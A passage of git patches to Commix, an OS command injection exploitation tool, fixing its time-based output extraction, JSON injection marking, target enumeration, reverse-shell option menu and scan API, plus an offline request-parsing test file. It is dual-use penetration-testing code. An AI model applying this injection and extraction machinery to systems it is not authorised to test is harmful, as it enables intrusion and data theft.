time_delay_due_to_unstable_request(timesec): settings.UNSTABLE_REQUEST_BUMPS = settings.UNSTABLE_REQUEST_BUMPS + 1 return timesec, settings.UNSTABLE_REQUEST_CHOICE == "c" + # Built once: appended to inside the loop, every answer that was not one of the options asked the + # question again on the end of the one before it. message = "Unexpected time delays have been identified." + message += " How do you want to proceed? [(C)ontinue with a longer delay/(s)kip this candidate and try the next] " settings.print_data_to_stdout(settings.END_LINE.CR) while True: - message = message + " How do you want to proceed? [(C)ontinue with a longer delay/(s)kip this candidate and try the next] " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": @@ -6796,6 +6803,9 @@ def brute_force_target_names(): return set() labels = host.split(".") names = {host} + # A bare IP has no label to drop - '192.168.0' names no host the address does. + if re.match(r"\A\d{1,3}(?:\.\d{1,3}){3}\Z", host): + return names if labels[0] == "www": names.add(".".join(labels[1:])) names.add(".".join(labels[1:-1])) @@ -7461,41 +7471,6 @@ def msf_launch_msg(output): # Remove the ouput file. os.remove(output) -""" -Check for available shell options. -""" -def shell_options(option): - if option.lower() == "?": - menu.reverse_tcp_options() - elif option.lower() == "quit" or option.lower() == "exit": - raise SystemExit() - - elif option[0:4].lower() == "set ": - if option[4:10].lower() == "lhost ": - if option.lower() == "bind_tcp": - err_msg = "The '" + option[4:9].upper() + "' option is not " - err_msg += "usable for '" + option.lower() + "' mode. Use the 'RHOST' option." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - else: - check_lhost(option[10:]) - if option[4:10].lower() == "rhost ": - if option.lower() == "reverse_tcp": - err_msg = "The '" + option[4:9].upper() + "' option is not " - err_msg += "usable for '" + option.lower() + "' mode. Use the 'LHOST' option." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - else: - check_rhost(option[10:]) - if option.lower() == "reverse_tcp": - if option[4:10].lower() == "lport ": - check_lport(option[10:]) - if option[4:12].lower() == "srvport ": - check_srvport(option[12:]) - if option[4:12].lower() == "uripath ": - check_uripath(option[12:]) - - else: - return option - """ Set up the PHP working directory on the target host. """ diff --git a/src/core/controller/controller.py b/src/core/controller/controller.py index faf6b9be1c..eb5d7f3ba6 100644 --- a/src/core/controller/controller.py +++ b/src/core/controller/controller.py @@ -824,16 +824,22 @@ def build(value): headers.apply_request_policy() start = time.time() real_response = headers.send_raw(real_request, policy=False) - real_body = real_response.read() - real_status = real_response.getcode() + try: + real_body = real_response.read() + real_status = real_response.getcode() + finally: + real_response.close() real_time = time.time() - start placeholder_request = build(placeholder) headers.apply_request_policy() start = time.time() placeholder_response = headers.send_raw(placeholder_request, policy=False) - placeholder_body = placeholder_response.read() - placeholder_status = placeholder_response.getcode() + try: + placeholder_body = placeholder_response.read() + placeholder_status = placeholder_response.getcode() + finally: + placeholder_response.close() placeholder_time = time.time() - start except Exception: return url diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index dbc0f99312..985c9f5b6a 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -593,7 +593,9 @@ def _validate_boundary(candidate): _length_delayed(output_length) else: # Experimental interpreter path only - its oracle is still exact-match, not bisectable. - for candidate_length in range(int(minlen), int(maxlen)): + # Up to and including the limit: '--maxlen' is how much this run is willing to read, which is + # a length it is willing to read rather than one short of it. + for candidate_length in range(int(minlen), int(maxlen) + 1): payload = payloads.cmd_execution_alter_interpreter(separator, cmd, candidate_length, OUTPUT_TEXTFILE, timesec, http_request_method) found = _measure_length(payload) if settings.VERBOSITY_LEVEL == 0: @@ -1473,7 +1475,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): count = count - 1 last_param = path_parts[count] output = url.replace(last_param, OUTPUT_TEXTFILE) - if "?" and settings.OUTPUT_FILE_EXT in output: + if "?" in output and settings.OUTPUT_FILE_EXT in output: try: output = output.split("?")[0] except (Exception, SystemExit): @@ -1525,10 +1527,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): info_msg += "' for execution output." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) settings.RECHECK_FILE_FOR_EXTRACTION = True - if not settings.DEFINED_WEBROOT: - pass - else: - break + break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: @@ -1609,8 +1608,6 @@ def injection_test_results(response, TAG, randvcalc, technique, payload=None): # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) html_data = unescape(html_data) - # Replace non-ASCII characters with a single space - re.sub(r"[^\x00-\x7f]",r" ", html_data) html_data = checks.remove_reflected_values(html_data, payload) if settings.SKIP_CALC: shell = re.findall(r"" + TAG + TAG + TAG, html_data) @@ -1736,16 +1733,12 @@ def injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, times # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) html_data = unescape(html_data) - # Replace non-ASCII characters with a single space - re.sub(r"[^\x00-\x7f]",r" ", html_data) shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) if not shell: shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) if not shell: return shell try: - if TAG in shell: - shell = re.findall(r"" + "(.*)" + TAG + TAG, shell) # Clear junks shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell] shell = [backslash.replace(r"\/","/") for backslash in shell] diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 4f145e395f..24408f198e 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -822,8 +822,9 @@ def do_check(request): settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True settings.CUSTOM_HEADER_CHECK = http_header_name + # The names above are already the ones this branch was not entered for, and asking + # again with the value spliced onto the name asked something no name can answer. if len(http_header_name) != 0 and \ - http_header_name + ": " + http_header_value not in [settings.ACCEPT, settings.HOST, settings.USER_AGENT, settings.REFERER, settings.COOKIE] and \ http_header_name + ": " + http_header_value not in settings.CUSTOM_HEADERS_NAMES: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(http_header_name) if http_header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.CUSTOM_HEADERS_NAMES.append(http_header_name + ": " + http_header_value) diff --git a/src/core/techniques/time_based/tb_payloads.py b/src/core/techniques/time_based/tb_payloads.py index 9a7ddd504b..57bab02405 100755 --- a/src/core/techniques/time_based/tb_payloads.py +++ b/src/core/techniques/time_based/tb_payloads.py @@ -203,7 +203,9 @@ def decision(separator, TAG, output_length, timesec, http_request_method): ) elif separator in ("&", "&&") and checks.substitution_nests(): """ - Measured and delayed on in the one command, so neither of these has to chain anything. + Measured and delayed on in the one command, so neither of these has to chain anything: a bare + '&' cannot hand a variable to the command after it, and chaining '&&' to carry one would prove + that separator rather than this one. The length asked about is what the two sides are compared on. A marker compared against itself answered the same way whatever length it was asked about, so the control question - the same diff --git a/src/utils/api.py b/src/utils/api.py index 0b453b6d2a..b88f61e6de 100644 --- a/src/utils/api.py +++ b/src/utils/api.py @@ -174,10 +174,11 @@ def start(self): command = _commix_command() + ["-c", self.config_file] # Kept rather than thrown away: what the run says as it goes is what '/scan/<id>/log' hands back, # and the run's own log file is a report of what was found, not a record of the going. - console = open(self.console_file, "wb") - self.process = subprocess.Popen(command, cwd=_commix_directory(), stdout=console, - stderr=subprocess.STDOUT, close_fds=not settings.IS_WINDOWS) - console.close() + # Closed either way: the child is given a handle of its own, and a start that failed leaves + # nothing here to hand back but an open file in a server that goes on running. + with open(self.console_file, "wb") as console: + self.process = subprocess.Popen(command, cwd=_commix_directory(), stdout=console, + stderr=subprocess.STDOUT, close_fds=not settings.IS_WINDOWS) """ Whether a scan is running under this task right now. diff --git a/src/utils/settings.py b/src/utils/settings.py index 7cc184de0b..6d58948bc9 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -334,7 +334,7 @@ def _stdout_write(data): Print data to stdout """ def print_data_to_stdout(data): - global PROGRESS_LINE_OPEN, PROGRESS_DOT_COUNT, PROGRESS_INTERRUPTIONS + global PROGRESS_LINE_OPEN, PROGRESS_LINE_DONE, PROGRESS_DOT_COUNT, PROGRESS_INTERRUPTIONS if getattr(_threading.current_thread(), "commix_suppress_output", False): return with PRINT_LOCK: @@ -386,6 +386,7 @@ def print_data_to_stdout(data): _stdout_write(data) sys.stdout.flush() PROGRESS_LINE_OPEN = is_spinner_style and not has_lf and not is_done_marker + PROGRESS_LINE_DONE = is_done_marker """ Write back onto the line that was left blank the answer that blank stood for. @@ -407,14 +408,15 @@ def echo_default_answer(message, answer): Clear the current line before printing, without adding a blank line when already empty. """ def clear_current_line(): - global PROGRESS_LINE_OPEN + global PROGRESS_LINE_OPEN, PROGRESS_LINE_DONE with PRINT_LOCK: if PROGRESS_LINE_OPEN: sys.stdout.write(END_LINE.LF) - else: + elif not PROGRESS_LINE_DONE: sys.stdout.write(END_LINE.CR + "\033[K") sys.stdout.flush() PROGRESS_LINE_OPEN = False + PROGRESS_LINE_DONE = False """ Take the cursor back to the start of the current line and wipe it, leaving no newline behind. @@ -424,22 +426,29 @@ def clear_current_line(): closing an open line would leave is exactly what stacks the two copies up. """ def redraw_current_line(): - global PROGRESS_LINE_OPEN + global PROGRESS_LINE_OPEN, PROGRESS_LINE_DONE with PRINT_LOCK: + # A line that closed itself with its own "(done)" took the cursor off it, so the line about to + # be written again is the one above: stepped back onto rather than wiped where the cursor was + # left, which cleared the empty line underneath and stacked the two copies up after all. + if PROGRESS_LINE_DONE: + sys.stdout.write("\033[F") sys.stdout.write(END_LINE.CR + "\033[K") sys.stdout.flush() PROGRESS_LINE_OPEN = False + PROGRESS_LINE_DONE = False """ Close the current spinner line with a trailing newline. """ def close_progress_line(): - global PROGRESS_LINE_OPEN + global PROGRESS_LINE_OPEN, PROGRESS_LINE_DONE with PRINT_LOCK: if PROGRESS_LINE_OPEN: sys.stdout.write(END_LINE.LF) sys.stdout.flush() PROGRESS_LINE_OPEN = False + PROGRESS_LINE_DONE = False """ argv input errors @@ -477,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "282" +REVISION = "283" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -997,6 +1006,11 @@ class OS(object): # Whether the last stdout line is still open (progress refresh / spinner dot). PROGRESS_LINE_OPEN = False +# Whether the last stdout line is a progress line that closed itself with its own "(done)". It is +# finished, so nothing more is written onto it, but the cursor has already left it - which is the +# line a repeat of it overwrites. +PROGRESS_LINE_DONE = False + # Dots written to the current spinner line, and where that line stops growing further ones. # However many requests a step actually costs, the line itself stays one a terminal never wraps. PROGRESS_DOT_COUNT = 0 From ebcd23311ed2beeff06f5767cc64235bdd3d6ea3 Mon Sep 17 00:00:00 2001 From: liangzaihuanyv <144539158+liangzaihuanyv@users.noreply.github.com> Date: Mon, 2 Nov 2026 20:20:00 +0000 Subject: [PATCH 0956/1023] Accept optional whitespace in captured request header values Read known fields with optional SP/HTAB after the colon and remove only boundary whitespace. Add offline public-parser and applied-target tests. --- src/core/parse/request.py | 6 +- tests/test_request_headers.py | 203 ++++++++++++++++++++++++++++++++++ 2 files changed, 207 insertions(+), 2 deletions(-) create mode 100644 tests/test_request_headers.py diff --git a/src/core/parse/request.py b/src/core/parse/request.py index 45f356dbfc..347802c7bc 100755 --- a/src/core/parse/request.py +++ b/src/core/parse/request.py @@ -29,8 +29,10 @@ """ def _extract_header_value(header_name, line): # Header names are case-insensitive, so match them as sent rather than reshaping them. - match = re.findall(r"(?i)^" + header_name + ":" + " (.*)", line) - return "".join([str(i) for i in match]) if match else None + # A field name ends at the colon and the whitespace around its value is optional (RFC 9112), + # so neither the literal space this used to require, nor that whitespace, is part of the value. + match = re.findall(r"(?i)^" + re.escape(header_name) + r":[ \t]*(.*)", line) + return "".join([str(i) for i in match]).strip(" \t") if match else None """ Error message for invalid data. diff --git a/tests/test_request_headers.py b/tests/test_request_headers.py new file mode 100644 index 0000000000..243d990415 --- /dev/null +++ b/tests/test_request_headers.py @@ -0,0 +1,203 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import sys +import socket +import shutil +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +# The modules below read the command line as they are imported, so keep pytest's own +# arguments away from them and hand the real ones back even if an import fails. +_COMMAND_LINE = list(sys.argv) +try: + sys.argv = ["commix.py"] + from src.utils import settings + from src.core.parse import cmdline as menu + from src.core.parse import request +finally: + sys.argv = _COMMAND_LINE + +TARGET = "/review?x=1" +SETTINGS_STATE = ("RAW_HTTP_HEADERS", "HTTP_METHOD", "USER_DEFINED_POST_DATA", + "IGNORE_USER_DEFINED_POST_DATA", "MULTI_REQUEST_TARGETS", "SKIPPED_OUT_OF_SCOPE") +SOCKET_ATTEMPTS = [] + +""" +Fail closed: a parser test that reaches for the network is a broken test, not a slow one. +""" +def _no_transport(*args, **kwargs): + SOCKET_ATTEMPTS.append(args[:1]) + raise RuntimeError("Request parsing is exercised offline; no transport may be opened.") + +def _raw(*headers, **kwargs): + target = kwargs.get("target", TARGET) + return kwargs.get("method", "GET") + " " + target + " HTTP/1.1\n" + "".join(line + "\n" for line in headers) + "\n" + +class _OfflineRequests(unittest.TestCase): + """ + A captured request file, parsed through the public entry point, with the network and the + command line state it touches put back the way they were found. + """ + def setUp(self): + self.saved_options = dict(vars(menu.options)) + self.saved_command_line = dict(request._command_line_options) + self.saved_settings = {name: getattr(settings, name) for name in SETTINGS_STATE} + self.saved_sockets = (socket.socket, socket.create_connection, socket.getaddrinfo) + socket.socket, socket.create_connection, socket.getaddrinfo = _no_transport, _no_transport, _no_transport + # Nothing another test, an earlier suite or a real run left behind may decide what is expected here. + menu.options.scope = None + settings.SKIPPED_OUT_OF_SCOPE = [] + request._command_line_options.clear() + self.directory = tempfile.mkdtemp(prefix="commix-request-") + self.path = os.path.join(self.directory, "captured.invalid.txt") + + def tearDown(self): + socket.socket, socket.create_connection, socket.getaddrinfo = self.saved_sockets + for name in SETTINGS_STATE: + setattr(settings, name, self.saved_settings[name]) + vars(menu.options).clear() + vars(menu.options).update(self.saved_options) + request._command_line_options.clear() + request._command_line_options.update(self.saved_command_line) + shutil.rmtree(self.directory, ignore_errors=True) + self.assertEqual([], SOCKET_ATTEMPTS, "a request parser test opened a transport") + + def write(self, text): + with open(self.path, "w", encoding=settings.DEFAULT_CODEC) as handle: + handle.write(text) + return self.path + + def targets(self, text): + try: + return request.parse_requests(self.write(text)) + except SystemExit: + self.fail("a valid captured request was rejected: " + repr(text)) + + def rejected(self, text): + with self.assertRaises(SystemExit): + request.parse_requests(self.write(text)) + +class HeaderValue(_OfflineRequests): + """ + The optional whitespace a field line may carry, read off the value of one known header. + Guarded like the rest: a helper test that opens a transport is just as wrong as a parse one. + """ + def test_a_plain_space_is_not_part_of_the_value(self): + for line in ("Host: asset.invalid", "host: asset.invalid", "HOST: asset.invalid"): + self.assertEqual("asset.invalid", request._extract_header_value(settings.HOST, line)) + + def test_no_whitespace_after_the_colon_is_allowed(self): + for line in ("Host:asset.invalid", "Host:\tasset.invalid", "User-Agent:probe-a/1.0"): + expected = "asset.invalid" if "Host" in line else "probe-a/1.0" + name = settings.HOST if "Host" in line else settings.USER_AGENT + self.assertEqual(expected, request._extract_header_value(name, line)) + + def test_the_boundary_whitespace_of_the_value_is_dropped(self): + for line, expected in (("Host: asset.invalid", "asset.invalid"), + ("Host: \t asset.invalid", "asset.invalid"), + ("Host:\tasset.invalid \t", "asset.invalid"), + ("Host: asset.invalid ", "asset.invalid"), + ("Cookie: \ta=1; b=2\t", "a=1; b=2")): + self.assertEqual(expected, request._extract_header_value(line.split(":")[0], line)) + + def test_the_inside_of_the_value_is_left_alone(self): + for line, expected in (("Cookie: a=1; b=2", "a=1; b=2"), + ("Referer: https://ref.invalid/p?q=a:b", "https://ref.invalid/p?q=a:b"), + ("User-Agent: probe agent/1.0", "probe agent/1.0")): + self.assertEqual(expected, request._extract_header_value(line.split(":")[0], line)) + + def test_a_different_header_is_not_the_one_asked_for(self): + for name, line in ((settings.HOST, "X-Host: other.invalid"), + (settings.HOST, "Hosted-By: other.invalid"), + (settings.HOST, "User-Agent: probe-a/1.0")): + self.assertIsNone(request._extract_header_value(name, line)) + +class ParsedRequest(_OfflineRequests): + """ + The same field line, read through the public parse of a captured request file. + """ + def test_a_standard_request_is_parsed_as_before(self): + targets = self.targets(_raw("Host: asset.invalid", "User-Agent: probe-a/1.0", + "Cookie: a=1; b=2", "Referer: http://ref.invalid/p?q=a:b")) + self.assertEqual(1, len(targets)) + self.assertEqual("asset.invalid", targets[0]["host"]) + self.assertEqual("probe-a/1.0", targets[0]["agent"]) + self.assertEqual("a=1; b=2", targets[0]["cookie"]) + self.assertEqual("http://ref.invalid/p?q=a:b", targets[0]["referer"]) + self.assertEqual("http://asset.invalid" + TARGET, targets[0]["url"]) + + def test_a_host_field_parses_whatever_whitespace_follows_its_colon(self): + for line in ("Host: asset.invalid", + "Host:asset.invalid", + "Host:\tasset.invalid", + "Host: asset.invalid", + "Host: \t asset.invalid", + "Host:\tasset.invalid \t", + "hOsT: asset.invalid"): + with self.subTest(line=line): + targets = self.targets(_raw(line)) + self.assertEqual(1, len(targets)) + self.assertEqual("asset.invalid", targets[0]["host"]) + self.assertEqual("http://asset.invalid" + TARGET, targets[0]["url"]) + + def test_the_boundary_whitespace_of_a_known_field_does_not_survive(self): + targets = self.targets(_raw("Host: asset.invalid", "User-Agent:\tprobe agent/1.0 \t", + "Cookie:\ta=1; b=2 ", "Referer: https://ref.invalid/p?q=a:b ")) + self.assertEqual("probe agent/1.0", targets[0]["agent"]) + self.assertEqual("a=1; b=2", targets[0]["cookie"]) + self.assertEqual("https://ref.invalid/p?q=a:b", targets[0]["referer"]) + + def test_a_host_field_without_a_value_is_rejected(self): + for line in ("Host:", "Host: ", "Host:\t", "Host: \t "): + with self.subTest(line=line): + self.rejected(_raw(line, "User-Agent: probe-a/1.0")) + + def test_a_request_without_a_host_field_is_rejected(self): + self.rejected(_raw("User-Agent: probe-a/1.0", "Cookie: a=1")) + + def test_a_field_that_only_ends_in_host_is_not_the_host(self): + for line in ("X-Host: other.invalid", "X-Forwarded-Host: other.invalid", "Hosted-By: other.invalid"): + with self.subTest(line=line): + self.rejected(_raw(line, "User-Agent: probe-a/1.0")) + + def test_a_host_named_field_does_not_overrule_the_real_one(self): + targets = self.targets(_raw("Host: asset.invalid", "X-Forwarded-Host: other.invalid", + "X-Host: other.invalid")) + self.assertEqual("asset.invalid", targets[0]["host"]) + self.assertEqual("http://asset.invalid" + TARGET, targets[0]["url"]) + +class LogfileTarget(_OfflineRequests): + """ + The same file, applied to the run's options the way '--requestfile' applies it. + """ + def test_a_captured_request_becomes_the_run_target(self): + self.write(_raw("Host:asset.invalid", "User-Agent:\tprobe-a/1.0", "Referer: https://ref.invalid/")) + menu.options.requestfile = self.path + menu.options.logfile = None + targets = request.logfile_parser() + self.assertEqual(1, len(targets)) + self.assertEqual("asset.invalid", menu.options.host) + self.assertEqual("probe-a/1.0", menu.options.agent) + self.assertEqual("https://ref.invalid/", menu.options.referer) + self.assertEqual("https://asset.invalid" + TARGET, menu.options.url) + self.assertTrue(settings.RAW_HTTP_HEADERS.startswith("Host:")) + self.assertEqual(targets, settings.MULTI_REQUEST_TARGETS) + +if __name__ == "__main__": + unittest.main() From e9e6df8e53fb86e0bdee849184806b27d7f06241 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Tue, 3 Nov 2026 06:22:57 +0200 Subject: [PATCH 0957/1023] Fixed an issue where an unreachable target could be retried indefinitely during crawling --- src/core/requests/headers.py | 6 +++++- src/utils/settings.py | 2 +- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 24408f198e..a4f474ec75 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -500,7 +500,11 @@ def https_open(self, req): settings.UNAUTHORIZED = unauthorized = True with settings.REQUESTS_LOCK: stability.freeze_retry_budget() - else: + elif isinstance(err_msg, _urllib.error.HTTPError): + # An answer, however unwelcome: the request was spent reaching the target, so the budget it + # is measured against grows with it. A transport failure reached nothing and is no progress + # to grow it on - re-doubled on every one of those, the budget outgrew the attempts made + # against it, and a target that never resolves was retried for as long as it was left to. with settings.REQUESTS_LOCK: stability.expand_retry_budget() if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: diff --git a/src/utils/settings.py b/src/utils/settings.py index 6d58948bc9..1436b0cf53 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -486,7 +486,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "283" +REVISION = "284" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d27af9bb66e682bd161242e392358a7df7ab1a47 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 4 Nov 2026 06:15:19 +0200 Subject: [PATCH 0958/1023] Fixed several issues regarding system information enumeration, output retrieval, custom injection markers, empty JSON values, stored sessions and option handling over the API --- src/core/controller/checks.py | 17 ++++++++++++----- src/core/controller/injector.py | 7 ++++++- src/core/parse/openapi.py | 13 +++++++++---- src/core/requests/parameters.py | 23 ++++++++++++++++++++--- src/utils/api.py | 18 ++++++++++++++++++ src/utils/session_handler.py | 16 ++++++++++++++-- src/utils/settings.py | 2 +- 7 files changed, 80 insertions(+), 16 deletions(-) diff --git a/src/core/controller/checks.py b/src/core/controller/checks.py index 0780393de2..7eb3294495 100755 --- a/src/core/controller/checks.py +++ b/src/core/controller/checks.py @@ -5505,13 +5505,20 @@ def run_enumeration(execute_cmd, filename, url): ran = True print_enumenation().os_info_msg() target_os = execute_cmd(settings.RECOGNISE_OS) - if target_os == "Linux": - distro_name = execute_cmd(settings.DISTRO_INFO) - if distro_name: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name + target_arch = None + if target_os: + # Only a Linux kernel has a distribution name to add to it, the way 'system_information()' + # reads the two apart. The architecture, and the answer itself, belong to every kernel alike - + # asked for inside that name, a target answering anything else ('Darwin', 'FreeBSD', 'SunOS') + # had its architecture left unread and nothing said about it at all, not even that the fetch + # had failed. + if target_os == "Linux": + distro_name = execute_cmd(settings.DISTRO_INFO) + if distro_name: + target_os = target_os + settings.SINGLE_WHITESPACE + distro_name target_arch = execute_cmd(settings.RECOGNISE_HP) set_target_arch(target_arch) - print_os_info(target_os, target_arch, filename, False) + print_os_info(target_os, target_arch, filename, False) if menu.options.current_user: ran = True diff --git a/src/core/controller/injector.py b/src/core/controller/injector.py index 985c9f5b6a..c611c2bae5 100755 --- a/src/core/controller/injector.py +++ b/src/core/controller/injector.py @@ -988,7 +988,12 @@ def _validate_char_boundary(candidate): # Resolve the character at one position, on whichever shell the run is speaking. def _extract_position(num_of_chars): nonlocal timesec - char_pool = checks.generate_char_pool(num_of_chars) + # Chosen by how long the output is, which is what the pool is picked on - not by which of its + # characters is being read, which is what this position is. Asked with the position, the first + # character of every output was read against the single-character pool, and that one leaves + # out the tab and the newline: an output beginning with either could not be resolved at all, + # after every escalation the position is allowed had been spent on it. + char_pool = checks.generate_char_pool(output_length) if interpreter: # Alternative shells are still experimental. diff --git a/src/core/parse/openapi.py b/src/core/parse/openapi.py index 37d035b054..86d6e7b88e 100644 --- a/src/core/parse/openapi.py +++ b/src/core/parse/openapi.py @@ -105,8 +105,13 @@ def _example(spec, schema, seen=None, depth=0, cache=None): ref = schema.get("$ref") if isinstance(schema, dict) else None if not isinstance(ref, six.string_types): ref = None - if ref is not None and ref in cache: - return cache[ref] + # Kept against the depth it was worked out at as well as the reference itself: what a shape + # expands to depends on how much of the depth budget is left for its children, so a reference + # first met near the cutoff was kept with those children collapsed, and handed back that way + # everywhere it appeared afterwards - including where there was room to expand it in full. + key = (ref, depth) if ref is not None else None + if key is not None and key in cache: + return cache[key] schema = _resolve(spec, schema or {}, seen, depth) if not isinstance(schema, dict): @@ -157,8 +162,8 @@ def _example(spec, schema, seen=None, depth=0, cache=None): else: value = "1" - if ref is not None: - cache[ref] = value + if key is not None: + cache[key] = value return value """ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index cfe5419a21..f968e87491 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -83,7 +83,10 @@ def extract_vuln_param_from_pairs(text, delimiter, strip_leading_space=False, ch Resolve the custom-marker component to prepend/append to a prefix or suffix. """ def resolve_marker_component(default_value, marker_char): - if settings.CUSTOM_INJECTION_MARKER and len(settings.PRE_CUSTOM_INJECTION_MARKER_CHAR) != 0: + # Asked of the component being resolved rather than of the one that comes before it: a marker at + # the very start of a value leaves nothing in front of it, and the text behind it is the suffix + # all the same - read off the part in front, that text was dropped from the suffix entirely. + if settings.CUSTOM_INJECTION_MARKER and len(marker_char) != 0: return marker_char if settings.IS_JSON or (settings.LOAD_SESSION and not any((settings.COOKIE_INJECTION, settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, @@ -91,6 +94,20 @@ def resolve_marker_component(default_value, marker_char): return None return default_value +""" +Put the marker inside an empty JSON string value, however the document spaces it. + +Read with whatever sits between the colon and the quotes rather than against one spelling of it: a +body that was pretty-printed - which every one taken from a request file is - writes '"k": ""', and +a replacement looking only for '"k":""' passed those leaves over and left them untested, while +saying the value was empty as though it were about to test it. The spacing is put back as it was, +since the body has to reach the target the way it was given. +""" +def tag_empty_json_value(text): + marker = settings.INJECT_TAG + text = re.sub(r':(\s*)""', lambda match: ":" + match.group(1) + "\"" + marker + "\"", text) + return re.sub(r':(\s*)\\"\\"', lambda match: ":" + match.group(1) + "\\\"" + marker + "\\\"", text) + """ Shield each leaf element behind a placeholder so a line/element split can't fragment it. """ @@ -551,7 +568,7 @@ def handle_single_post_parameter(parameter, multi_parameters, http_request_metho # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if settings.IS_JSON: - parameter = parameter.replace(":\"\"", ":\"" + settings.INJECT_TAG + "\"") + parameter = tag_empty_json_value(parameter) else: parameter = parameter + settings.INJECT_TAG else: @@ -618,7 +635,7 @@ def handle_multiple_post_parameters(parameter, multi_parameters, http_request_me if len(value) == 0: if not menu.options.skip_empty: if settings.IS_JSON: - all_params[param] = ''.join(all_params[param]).replace(":\"\"", ":\"" + settings.INJECT_TAG + "\"").replace(":\\\"\\\"", ":\\\"" + settings.INJECT_TAG + "\\\"") + all_params[param] = tag_empty_json_value(''.join(all_params[param])) elif settings.IS_XML: all_params[param] = ''.join(all_params[param]).replace("></", ">" + settings.INJECT_TAG + "</") else: diff --git a/src/utils/api.py b/src/utils/api.py index b88f61e6de..bf6995ecc5 100644 --- a/src/utils/api.py +++ b/src/utils/api.py @@ -93,6 +93,15 @@ that what a task says it was given is what it was actually run with. """ SERVER_OWNED_OPTIONS = ("report_json", "output_dir", "batch") + +""" +Options a task's run is never given, and so cannot be set for one. + +The file a run is started from is written from the parser's own groups, less the ones that say what +to do rather than how - so an option left out of it, or one hanging off the parser rather than any +group, was taken, answered for as set, listed back as set, and then not carried into the run at all. +""" +UNCARRIED_OPTIONS = tuple(configfile.IGNORED) + ("ignore_stdin",) MAX_BODY = 16 * 1024 * 1024 TASK_ID_BYTES = 8 LOG_LINE_REGEX = re.compile(r"^\[(?P<time>\d{2}:\d{2}:\d{2})\]\s+\[(?P<level>[a-z]+)\]\s+(?P<message>.*)$") @@ -144,6 +153,8 @@ def set_option(self, name, value): return "The option '" + (option._long_opts + option._short_opts)[0] + "' cannot be set over the API: it " + REFUSED_OPTIONS[option.dest] + "." if option.dest in SERVER_OWNED_OPTIONS: return "The option '" + (option._long_opts + option._short_opts)[0] + "' is settled by the server for every task." + if option.dest in UNCARRIED_OPTIONS: + return "The option '" + (option._long_opts + option._short_opts)[0] + "' cannot be set over the API: a task's run is not given it." # Checked here rather than left for the run to refuse: a value the parser would not have taken # is a request that did not do what it was told it did. if option.action == "store" and not isinstance(value, bool) and value is not None: @@ -430,9 +441,13 @@ def option_set(self, taskid=None, body=None, **_): # Refused rather than kept: the running scan was handed its options when it started, so one # set now would read as having changed something it cannot reach. return _no("That scan is running, and a scan is given its options once, when it starts.") + # All of them or none of them: settled one at a time, a request answered as refused had already + # changed the ones named before the one that was refused, and said nothing about which. + settled = task.options.copy() for name, value in body.items(): refused = task.set_option(name, value) if refused: + task.options = settled return _no(refused) return _ok() @@ -445,9 +460,12 @@ def scan_start(self, taskid=None, body=None, **_): with task.lock: if task.running(): return _no("That scan is already running.") + # All of them or none, as above: a scan refused its options is not started with some of them. + settled = task.options.copy() for name, value in (body or {}).items(): refused = task.set_option(name, value) if refused: + task.options = settled return _no(refused) if not any(task.options.get(_) for _ in ("url", "logfile", "bulkfile", "requestfile", "sitemap_url", "openapi")): return _no("Nothing to scan: none of 'url', 'logfile', 'bulkfile', 'requestfile', 'sitemap_url' or 'openapi' was set.") diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index bcfed67ddb..45d9f664f6 100755 --- 